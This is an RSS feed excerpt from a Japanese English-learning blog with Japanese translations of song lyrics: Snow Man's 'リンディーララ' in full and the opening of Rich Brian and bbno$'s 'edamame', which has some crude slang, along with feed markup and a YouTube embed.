﻿<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="https://ffeng.jp/wp-content/plugins/rss-feed-styles/public/template.xsl"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:rssFeedStyles="http://www.lerougeliet.com/ns/rssFeedStyles#"
>

<channel>
	<title>訳 &#8211; たのしむイングリッシュ</title>
	<atom:link href="https://ffeng.jp/tag/%e8%a8%b3/feed/" rel="self" type="application/rss+xml" />
	<link>https://ffeng.jp</link>
	<description>FUN FUN ENGLISH</description>
	<lastBuildDate>Thu, 09 Apr 2026 15:32:33 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://ffeng.jp/wp-content/uploads/2024/05/becc7259dcbe6f095b1408b76d8a80aa-150x74.png</url>
	<title>訳 &#8211; たのしむイングリッシュ</title>
	<link>https://ffeng.jp</link>
	<width>32</width>
	<height>32</height>
</image> 
<atom:link rel="hub" href="https://pubsubhubbub.appspot.com"/>
<atom:link rel="hub" href="https://pubsubhubbub.superfeedr.com"/>
<atom:link rel="hub" href="https://websubhub.com/hub"/>
<atom:link rel="self" href="https://ffeng.jp/tag/%e8%a8%b3/feed/"/>
<rssFeedStyles:reader name="Digg Reader" url="http://digg.com/reader/search/https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:reader name="Feedly" url="http://cloud.feedly.com/#subscription%2Ffeed%2Fhttps://ffeng.jp/feed/"/><rssFeedStyles:reader name="Inoreader" url="http://www.inoreader.com/?add_feed=https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:button name="Like" url="https://www.facebook.com/sharer/sharer.php?u=%url%"/><rssFeedStyles:button name="G+" url="https://plus.google.com/share?url=%url%"/><rssFeedStyles:button name="Tweet" url="https://twitter.com/intent/tweet?url=%url%"/><rssFeedStyles:button name="Evernote" url="http://www.evernote.com/clip.action?url=%url%"/><rssFeedStyles:button name="Tumblr" url="https://www.tumblr.com/widgets/share/tool?posttype=link&amp;canonicalUrl=%url%"/><site xmlns="com-wordpress:feed-additions:1">164513092</site>	<item>
		<title>Snow Manリンディーララ 歌詞 訳してみた。切ない片思い</title>
		<link>https://ffeng.jp/2025/01/12/lindy/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Sat, 11 Jan 2025 17:58:55 +0000</pubDate>
				<category><![CDATA[Buzzwords]]></category>
		<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[ジャンル別]]></category>
		<category><![CDATA[ホットトピック]]></category>
		<category><![CDATA[ボキャブラリー]]></category>
		<category><![CDATA[未分類]]></category>
		<category><![CDATA[注目コラム]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[＃最新ハッシュタグ事情]]></category>
		<category><![CDATA[2024年10月]]></category>
		<category><![CDATA[RAYS]]></category>
		<category><![CDATA[Snow Man]]></category>
		<category><![CDATA[ラテン]]></category>
		<category><![CDATA[リンディーララ]]></category>
		<category><![CDATA[切ない片思い]]></category>
		<category><![CDATA[和訳]]></category>
		<category><![CDATA[哀愁]]></category>
		<category><![CDATA[意味]]></category>
		<category><![CDATA[発売]]></category>
		<category><![CDATA[訳]]></category>
		<guid isPermaLink="false">https://ffeng.jp/?p=3842</guid>

					<description><![CDATA[<p>2024年10月に発売されたSnow Manのアル <a class="mh-excerpt-more" href="https://ffeng.jp/2025/01/12/lindy/" title="Snow Manリンディーララ 歌詞 訳してみた。切ない片思い">[...]</a></p>
<p>The post <a rel="nofollow" href="https://ffeng.jp/2025/01/12/lindy/">Snow Manリンディーララ 歌詞 訳してみた。切ない片思い</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/05/19/mi8/' title='Limp BizkitのTake A Look Aroundを訳してみた　ミッション：インポッシブル／ファイナル・レコニング公開記念'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/05/tom-cruise-last-mission-impossible-movie-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://valleywidenewspaper.com/mission-impossible-the-final-reckoning/" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/05/tom-cruise-last-mission-impossible-movie-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2025/05/tom-cruise-last-mission-impossible-movie-150x150.jpg 150w, https://ffeng.jp/wp-content/uploads/2025/05/tom-cruise-last-mission-impossible-movie-65x65.jpg 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">Limp BizkitのTake A Look Aroundを訳してみた　ミッション：インポッシブル／ファイナル・レコニング公開記念</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/10/14/usaelection/' title='アメリカ大統領選挙って何？よく使用される英語の選挙用語＆表現'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/10/https___d1e00ek4ebabms.cloudfront.net_production_27676a06-d86c-4801-9a71-978e6d1f810f-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/10/https___d1e00ek4ebabms.cloudfront.net_production_27676a06-d86c-4801-9a71-978e6d1f810f-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2024/10/https___d1e00ek4ebabms.cloudfront.net_production_27676a06-d86c-4801-9a71-978e6d1f810f-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">アメリカ大統領選挙って何？よく使用される英語の選挙用語＆表現</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/07/24/nobody-compares-to-you/' title='切ないラブソング　 Nobody Compares To You'>
<img width="120" height="90" src="https://ffeng.jp/wp-content/uploads/2019/07/75585-Lost-Love.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2019/07/75585-Lost-Love.jpg 700w, https://ffeng.jp/wp-content/uploads/2019/07/75585-Lost-Love-300x225.jpg 300w, https://ffeng.jp/wp-content/uploads/2019/07/75585-Lost-Love-678x509.jpg 678w, https://ffeng.jp/wp-content/uploads/2019/07/75585-Lost-Love-326x245.jpg 326w, https://ffeng.jp/wp-content/uploads/2019/07/75585-Lost-Love-80x60.jpg 80w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">切ないラブソング　 Nobody Compares To You</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">2024年10月に発売された<strong>Snow Man</strong>のアルバム『<strong>RAYS</strong>』に収録されている『<strong>リンディーララ</strong>』を勝手に訳してみました。切ない片思いと内に秘めた熱い思いが交差する男心を、哀愁漂うラテンのリズムにのせた名曲です。リンディー（Lindy）は女性の名前。ララ（Lala）は、ハワイで『輝くような愛しい人』という意味らしいのですが、なぜラテン調？という疑問が出てくるのですが、深く考えるのは野暮ですね。まだこの楽曲のMVがないので<strong><a title="" href="https://mentrecording.jp/snowman/discography/detail.php?id=1020509" target="_blank" rel="noopener">公式の音源</a></strong>でサビだけ視聴可能です。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="138" height="114" src="https://ffeng.jp/wp-content/uploads/2024/10/1fb8c4b80eb08389c02ceb388519f11b-1.png" alt="" class="wp-image-3567" style="width:29px;height:auto"/></figure>



<h2 class="wp-block-heading"><strong>リンディーララ &#8211; Snow Man</strong></h2>



<p class="wp-block-paragraph">I see you <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君のことはいつもみてるから分かるよ</mark></strong><br>泣かないで My dear <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君は愛しい人だから</mark></strong><br>I&#8217;ll take you<br>Driving after 10 pm<br>Just for you 遠くまで <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君のためなら<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">真夜中でも</mark></strong>遠くまでドライブするよ</mark></strong><br>No need to care about tomorrow <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">明日なんて気にしなくてもいいから</mark></strong><br>想い隠して</p>



<p class="wp-block-paragraph">Do you know？ <strong><mark style="color:#cf2e2e;background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">ねえ、知ってる？</mark></strong><br>Forever　切ない We are <strong><mark style="color:#cf2e2e;background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">ずっと俺らって切ない関係だよね</mark></strong><br>彼の愚痴ならたまに聞くから<br>On your side でも <strong><mark style="color:#cf2e2e;background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">いつでも君の味方だよ</mark></strong><br>Wonder why I feel <strong><mark style="color:#cf2e2e;background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">僕の気持ちなんて気づいてない</mark><mark style="background-color:rgba(0, 0, 0, 0);color:#cf2e2e" class="has-inline-color has-vivid-red-color">よね</mark></strong><br>こんなに大事なんてさ All of you <strong><mark style="background-color:rgba(0, 0, 0, 0);color:#cf2e2e" class="has-inline-color has-vivid-red-color">君の全てが</mark></strong></p>



<p class="wp-block-paragraph">&#8216;Cause I love you… <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">だって君を愛してるから</mark></strong><br>幸せになってほしい リンディーララ<br>Sorry <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">ごめんね </mark></strong>嘘をついたこと<br>Love you… <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">本当に愛してるんだ</mark></strong><br>曖昧な言葉の奥は リンディーララ<br>君がほしい Keeping in my heart <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">でもそれは僕だけの秘密</mark></strong></p>



<p class="wp-block-paragraph">君がいる To right 時止まる Tonight <strong><mark style="color:#cf2e2e;background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">今夜君がそばにいるだけで時が止まる</mark></strong><br>プレイリストは Songs you may like <strong><mark style="color:#cf2e2e;background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君の好きそうな曲</mark></strong><br>バレない程度に Love <strong><mark style="color:#cf2e2e;background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">俺の愛を知らせよう</mark></strong><br>Navigation <strong><mark style="color:#cf2e2e;background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">ナビ</mark></strong> は入れない主義<br>君のやりたい事を全てしよう<br>I&#8217;ll make you smile <strong><mark style="color:#cf2e2e;background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">笑顔に</mark><mark style="background-color:rgba(0, 0, 0, 0);color:#cf2e2e" class="has-inline-color has-vivid-red-color">なって欲し</mark><mark style="color:#cf2e2e;background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">いから</mark></strong></p>



<p class="wp-block-paragraph">It&#8217;s alright <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">心配しなくても大丈夫だよ</mark></strong><br>You and me counting star <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">空の星を数えよう</mark></strong><br>知らない方が良くても I&#8217;ll leave it to you <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君の思うようにしたらいいよ</mark></strong><br>Don&#8217;t be worried <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">でももう心配しないで</mark></strong><br>I found it 君に似てる星座眩しく Shine <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君に似てる眩しく輝く星座を見つけたんだ　　</mark></strong></p>



<p class="wp-block-paragraph">But I love you… <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">でも愛してるんだ</mark></strong><br>余裕な素振りしても リンディーララ<br>Baby　溢れて止まらない<br>Love you… <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">愛してるよ</mark></strong><br>もし君に伝えたら リンディーララ<br>またね なんてさ I can&#8217;t say <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">そんなこと言いいたくないよ</mark></strong></p>



<p class="wp-block-paragraph">To your home　送る車内は Sudden silence <strong><mark style="color:#cf2e2e;background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">送り道の車内は突然</mark><mark style="background-color:rgba(0, 0, 0, 0);color:#cf2e2e" class="has-inline-color has-vivid-red-color">無口になる</mark><mark style="color:#cf2e2e;background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">ね</mark></strong><br>徐々に俯いてく君<br>ごめんね Slow down, slow down, slow down <strong><mark style="color:#cf2e2e;background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">さよなら言いたくないからゆっくり行こうか</mark></strong><br>やっぱ Stop, stop, stop, stop, stop the car <strong><mark style="color:#cf2e2e;background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">車停めようか</mark></strong><br>このまま帰したくないよ</p>



<p class="wp-block-paragraph">&#8216;Cause I love you… <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">だって君のこと大好きだから</mark></strong><br>幸せになってほしい リンディーララ<br>Sorry <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">ごめんね </mark></strong>嘘をついたこと<br>Love you… <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">愛してる</mark></strong><br>曖昧な言葉の奥は リンディーララ<br>君がほしい Keeping in my heart <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君が欲しいってことは秘密だけどね</mark></strong></p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="138" height="114" src="https://ffeng.jp/wp-content/uploads/2024/10/1fb8c4b80eb08389c02ceb388519f11b-1.png" alt="" class="wp-image-3567" style="width:63px;height:auto"/></figure>



<p class="wp-block-paragraph">※日本の英語歌詞あるあるなのですが、意味のわからない英文が多発します。こんな感じかな？と意訳しております。今回は日本語と英語が混合する行があるため、和訳を赤くしております。</p>



<p class="wp-block-paragraph"></p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="138" height="114" src="https://ffeng.jp/wp-content/uploads/2024/10/1fb8c4b80eb08389c02ceb388519f11b-1.png" alt="" class="wp-image-3567" style="width:287px;height:auto"/></figure>
<p>The post <a rel="nofollow" href="https://ffeng.jp/2025/01/12/lindy/">Snow Manリンディーララ 歌詞 訳してみた。切ない片思い</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/05/19/mi8/' title='Limp BizkitのTake A Look Aroundを訳してみた　ミッション：インポッシブル／ファイナル・レコニング公開記念'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/05/tom-cruise-last-mission-impossible-movie-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://valleywidenewspaper.com/mission-impossible-the-final-reckoning/" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/05/tom-cruise-last-mission-impossible-movie-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2025/05/tom-cruise-last-mission-impossible-movie-150x150.jpg 150w, https://ffeng.jp/wp-content/uploads/2025/05/tom-cruise-last-mission-impossible-movie-65x65.jpg 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">Limp BizkitのTake A Look Aroundを訳してみた　ミッション：インポッシブル／ファイナル・レコニング公開記念</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/10/14/usaelection/' title='アメリカ大統領選挙って何？よく使用される英語の選挙用語＆表現'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/10/https___d1e00ek4ebabms.cloudfront.net_production_27676a06-d86c-4801-9a71-978e6d1f810f-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/10/https___d1e00ek4ebabms.cloudfront.net_production_27676a06-d86c-4801-9a71-978e6d1f810f-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2024/10/https___d1e00ek4ebabms.cloudfront.net_production_27676a06-d86c-4801-9a71-978e6d1f810f-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">アメリカ大統領選挙って何？よく使用される英語の選挙用語＆表現</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/07/24/nobody-compares-to-you/' title='切ないラブソング　 Nobody Compares To You'>
<img width="120" height="90" src="https://ffeng.jp/wp-content/uploads/2019/07/75585-Lost-Love.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2019/07/75585-Lost-Love.jpg 700w, https://ffeng.jp/wp-content/uploads/2019/07/75585-Lost-Love-300x225.jpg 300w, https://ffeng.jp/wp-content/uploads/2019/07/75585-Lost-Love-678x509.jpg 678w, https://ffeng.jp/wp-content/uploads/2019/07/75585-Lost-Love-326x245.jpg 326w, https://ffeng.jp/wp-content/uploads/2019/07/75585-Lost-Love-80x60.jpg 80w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">切ないラブソング　 Nobody Compares To You</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3842</post-id>	</item>
		<item>
		<title>ラップと枝豆の融合？Rich Brian&#038;bbno$『edamame』和訳</title>
		<link>https://ffeng.jp/2021/10/23/edamame/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Sat, 23 Oct 2021 11:38:14 +0000</pubDate>
				<category><![CDATA[Buzzwords]]></category>
		<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[カルチャー]]></category>
		<category><![CDATA[ボキャブラリー]]></category>
		<category><![CDATA[日本文化を英語で伝えよう]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[2Pac]]></category>
		<category><![CDATA[All Eyez on Me]]></category>
		<category><![CDATA[anti-vaxxer]]></category>
		<category><![CDATA[bbno$]]></category>
		<category><![CDATA[edamame]]></category>
		<category><![CDATA[Lalala]]></category>
		<category><![CDATA[My Strangest Addiction]]></category>
		<category><![CDATA[Pac]]></category>
		<category><![CDATA[Rich Brian]]></category>
		<category><![CDATA[Rich Brian&bbno$]]></category>
		<category><![CDATA[Teletubbies]]></category>
		<category><![CDATA[おかしな中毒症状]]></category>
		<category><![CDATA[しゃぶしゃぶ]]></category>
		<category><![CDATA[アンチ・ワクチン]]></category>
		<category><![CDATA[インドネシア]]></category>
		<category><![CDATA[カナダ]]></category>
		<category><![CDATA[ジャカルタ]]></category>
		<category><![CDATA[スラング]]></category>
		<category><![CDATA[テレタビーズ]]></category>
		<category><![CDATA[バンクーバー]]></category>
		<category><![CDATA[ヒップホップ史]]></category>
		<category><![CDATA[ベイビー・ノーマネー]]></category>
		<category><![CDATA[マリファナ中毒]]></category>
		<category><![CDATA[ラッパー]]></category>
		<category><![CDATA[ラップ]]></category>
		<category><![CDATA[ラテン]]></category>
		<category><![CDATA[ラーメン]]></category>
		<category><![CDATA[リッチ・ブライアン]]></category>
		<category><![CDATA[レジェンド]]></category>
		<category><![CDATA[人気メニュー]]></category>
		<category><![CDATA[刺身]]></category>
		<category><![CDATA[和訳]]></category>
		<category><![CDATA[天ぷら]]></category>
		<category><![CDATA[対訳]]></category>
		<category><![CDATA[日本食材]]></category>
		<category><![CDATA[枝豆]]></category>
		<category><![CDATA[歌詞]]></category>
		<category><![CDATA[訳]]></category>
		<category><![CDATA[韻]]></category>
		<guid isPermaLink="false">http://ffeng.jp/?p=1617</guid>

					<description><![CDATA[<p>今回はちょっと季節外れになってしまいましたが、Ri <a class="mh-excerpt-more" href="https://ffeng.jp/2021/10/23/edamame/" title="ラップと枝豆の融合？Rich Brian&#38;bbno$『edamame』和訳">[...]</a></p>
<p>The post <a rel="nofollow" href="https://ffeng.jp/2021/10/23/edamame/">ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/24/yunggravy_supagood/' title='ヤング・グレイヴィー『SUPA GOOD!!!』　和訳'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-120x120.png" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://www.livenation.co.jp/yung-gravy-tickets-adp1115822" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-120x120.png 120w, https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-150x150.png 150w, https://ffeng.jp/wp-content/uploads/2025/08/5e878d12bbdf5d348e3a56dac4373c60-65x65.png 65w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ヤング・グレイヴィー『SUPA GOOD!!!』　和訳</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/07/26/maninfinance/' title='今、TikTokでバズってるメーガン・ボニの&#8221;Looking for a Man in Finance&#8221;を和訳してみた'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/07/14642a23-1d67-49fe-9d7c-1bdae59e4c0b_92af0618-120x120.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://www.scmp.com/magazines/style/entertainment/article/3264564/who-megan-boni-tiktokker-behind-man-finance-26-year-old-was-working-day-job-sales-when-her-clip-went" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/07/14642a23-1d67-49fe-9d7c-1bdae59e4c0b_92af0618-120x120.jpg 120w, https://ffeng.jp/wp-content/uploads/2024/07/14642a23-1d67-49fe-9d7c-1bdae59e4c0b_92af0618-150x150.jpg 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">今、TikTokでバズってるメーガン・ボニの&#8221;Looking for a Man in Finance&#8221;を和訳してみた</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/15/talktalk/' title='チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック'>
<img width="120" height="120" src="https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-120x120.webp" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-120x120.webp 120w, https://ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX-150x150.webp 150w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">今回はちょっと季節外れになってしまいましたが、<strong>Rich Brian&amp;bbno$</strong>の『<strong>edamame</strong>』を紹介します。</p>



<p class="wp-block-paragraph">気だるい口調のラテン調のラップに、最近海外で人気の日本食材<strong>枝豆</strong>がタイトルになった不思議な『<strong>edamame</strong>』ソング。夏前から気になっていたのですが、あまりにも下品なスラングが多数登場するので紹介するのをためらっていたのですが、思い切って棚卸します。</p>



<p class="wp-block-paragraph">&nbsp;</p>



<h2 class="wp-block-heading">『edamame』ってどんな曲？</h2>



<p class="wp-block-paragraph">カナダ、バンクーバー出身の<strong>bbno$</strong>（<strong>ベイビー・ノーマネー</strong>）と、インドネシアのジャカルタ出身の<strong>Rich Brian</strong>（<strong>リッチ・ブライアン</strong>）が7月にリリースしたヒットソング『<strong>edamame</strong>』。</p>



<p class="wp-block-paragraph">「日本でおなじみの枝豆がタイトルって面白いなー」と思って聞いたら、卑猥なスラングが多発。今回は卑猥になりすぎない程度に訳してみました。よく聞いていると、<strong>edamame</strong>で韻を踏んでいたり、内容も世の中の流れや自身の体験を反映したりリリースから３ヶ月間、米国ヒットチャートの100位辺りを長く賑わせている結構興味深い歌なのです。</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;</p>



<p class="wp-block-paragraph">&nbsp;</p>



<h2 class="wp-block-heading">Edamame &#8211; Rich Brian &amp; bbno$</h2>


<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-k6brna4_bmg" class="arve">
<div class="arve-inner">
<div style="aspect-ratio:226/127" class="arve-embed arve-embed--has-aspect-ratio">
<div class="arve-ar" style="padding-top:56.194690%"></div>
<p>			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-k6brna4_bmg" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/K6BRna4_bmg?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="0" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/K6BRna4_bmg?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="0"></iframe></p></div>
</p></div>
<p>	<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/ffeng.jp\/2021\/10\/23\/edamame\/#arve-youtube-k6brna4_bmg","@type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/K6BRna4_bmg?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script></p>
</div>



<p class="wp-block-paragraph"><strong>Balls Hanging Low While I Pop A Bottle Off A Yacht</strong><br><strong>Chain Swanging, Cling-Clang And It Cost A Lot</strong><br><strong>B*tch, I&#8217;m Always After Guala, Yeah! And You Are Not</strong><br><strong>Bad-ass B, Keep On Going Stil You Hit The Spot</strong></p>



<p class="wp-block-paragraph">タマが垂れ下がるくらい<strong>ヨット</strong>で酒飲み大フィーバー<br>首元で<strong>チャラチャラ</strong>うるさいチェーン　高かったんだぜ<br>お前とは違って俺は金持ちなんだ<br>ブライアン、お前はずっとあがいてろ</p>



